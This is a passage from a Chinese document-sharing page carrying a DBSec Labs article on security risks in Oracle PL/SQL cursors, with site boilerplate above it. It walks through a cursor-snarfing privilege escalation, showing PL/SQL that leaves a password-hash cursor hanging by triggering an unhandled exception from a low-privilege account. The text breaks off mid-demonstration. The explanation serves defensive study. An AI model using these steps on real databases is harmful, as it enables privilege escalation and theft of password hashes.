- 1、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
(Oracle数据库游标中的安全隐患及防护建议
Oracle数据库游标中的安全隐患及防护建议引言SQL是面向集合的语言,其结果一般是集合量(含多条记录),而pl/sql的变量是标量,一组变量一次只能存放一条记录。很多时候查询结果的记录数是不确定的,无法提前声明足够的变量。于是引入了游标的概念,游标使得数据库操作更灵活,但同时也给黑客入侵数据库带来了机会。安华金和数据库安全实验室(DBSec Labs)基于游标的应用原理,本文讨论游标可能带来什么安全隐患以及如何应对这些安全隐患。游标的分类oracle数据库游标是Pl/sql执行DQL、DML等语句的时候,oracle在内存中为其结果集分配一个缓冲区。游标是指向该区的一个指针、命名一个工作区或是一种结构化数据类型。它为应用程序提供了一种对结果集中每一行数据单独处理的方法。oracle 游标基本可以分为以下3类:显式游标、隐式游标和动态游标(关系具体看下图)。游标的核心功能在于,从表中检索出结果集,每次指向一条记录,与客户端或应用程序进行交互,因此游标是设计嵌入式SQL语句的应用程序的常用编程方式。随着游标的广泛使用,其本身的安全隐患也变得越来越突出。游标带来的安全隐患oracle游标给数据库带来的安全隐患主要分为三大类:缺乏异常处理,挂起的游标被恶意利用游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。如果一个高权限用户建立一个游标却没关闭该游标,低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句,进行高权限运行,达到提权或越权访问的目的。这就是游标SNARF提权的基础。游标不正常关闭基本是人为造成的,高权限用户忘记关闭,或者游标所在的子程序缺乏异常处理机制。如果没有做相应的异常处理,黑客很有可能制造异常,使游标被一直挂起,利用未关闭的游标,注入恶意代码。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。下面试验用例由安华金和数据库安全实验室提供:SQL connect / as sysdba已连接。SQL CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS 2 CURSOR_NAME INTEGER; 3 PASSWORD VARCHAR2(30); 4 I INTEGER; 5 BEGIN 6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR; 7 DBMS_OUTPUT.PUT_LINE(CURSOR:||CURSOR_NAME); 8 DBMS_SQL.PARSE(CURSOR_NAME,SELECT PASSWORD FROM 9 SYS.DBA_USERS WHERE USERNAME=:schina,dbms_sql.native); 10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina,P_USER); 11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30); 12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME); 13 IF PASSWORD = 01234567890ABCDEF THEN 14 DBMS_OUTPUT.PUT_LINE(YOUR PASSWORD HASH IS NOT OK); 15 ELSE 16 DBMS_OUTPUT.PUT_LINE(YOUR PASSWORD HASH IS OK); 17 END IF; 18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME); 19 END; 20 /PL/SQL 过程已成功完成。SQL grant execute on schina_test to public;授权成功。schina_test 是一个缺乏异常处理代码的存储过程,它的作用是对给定用户找到其密码hash值,然后和固定HASH值进行比较并返回结果。open_cursor打开游标直到close_cursor或SQL会话终止游标退出。由于缺乏异常代码机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标。SQL connect scott/tiger已连接。SQL set serveroutput onSQL declare 2 x varchar(40000); 3 i integer; 4 begin 5 fro i in 1..10000 loop 6 x:=b||x; 7 end loop; 8 sys. schina_test (x); 9 end; 10 / CUR
文档评论(0)